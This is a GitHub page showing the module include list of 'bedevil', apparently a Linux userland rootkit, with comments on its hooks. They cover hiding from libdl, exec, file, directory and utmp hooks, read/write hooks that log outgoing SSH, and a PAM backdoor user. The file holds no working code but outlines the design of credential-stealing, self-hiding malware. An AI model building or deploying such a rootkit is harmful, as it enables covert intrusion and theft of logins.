-
Notifications
You must be signed in to change notification settings - Fork 44
Expand file tree
/
Copy pathmodule_includes
More file actions
30 lines (25 loc) · 1.26 KB
/
module_includes
File metadata and controls
30 lines (25 loc) · 1.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# this is the module include file for bedevil.
# module includes closest to the top are prioritised.
# so if your module is the last line in this file,
# it will be included last.
# comments starting with '#' are ignored.
"headers/rk_creds.h" # everything we really need. this gets heavily edited by bedevil.sh
"headers/symbols.h" # read file for info.
"bdvl_util/xor.c" # include this now, since our libdl hooks require it
"libdl/libdl.h" # hooks to hide from libdl
"bdvl_util/util.h" # etc utils
"hiding/hiding.h" # self explanatory hiding stuff
"exec/exec.h" # exec (execution) hooks
"open/open.h" # file open & access hooks
"rw/rw.h" # read/write hooks. we logging outgoing ssh nao
"dir/dir.h" # all directory related stuff
"pwd/pwd.h" # pwd-struct related hooks (getpwnam, etc)
"gid/gid.h" # setgid safety net
"perms/perms.h" # file permission hooks
"utmp/utmp.h" # i think the utmp struct has been changed since i have last worked on anything like this
# pam backdoor header file.
# afaik, the pam backdoor method is the preferred method for most people
# only thing is, when the backdoor user is logged in, a process called
# '(sd-pam)' shows up. in previous projects, i have attempted to hide
# this process, but it only causes issues later down the line.
"backdoor/pam/pam.h"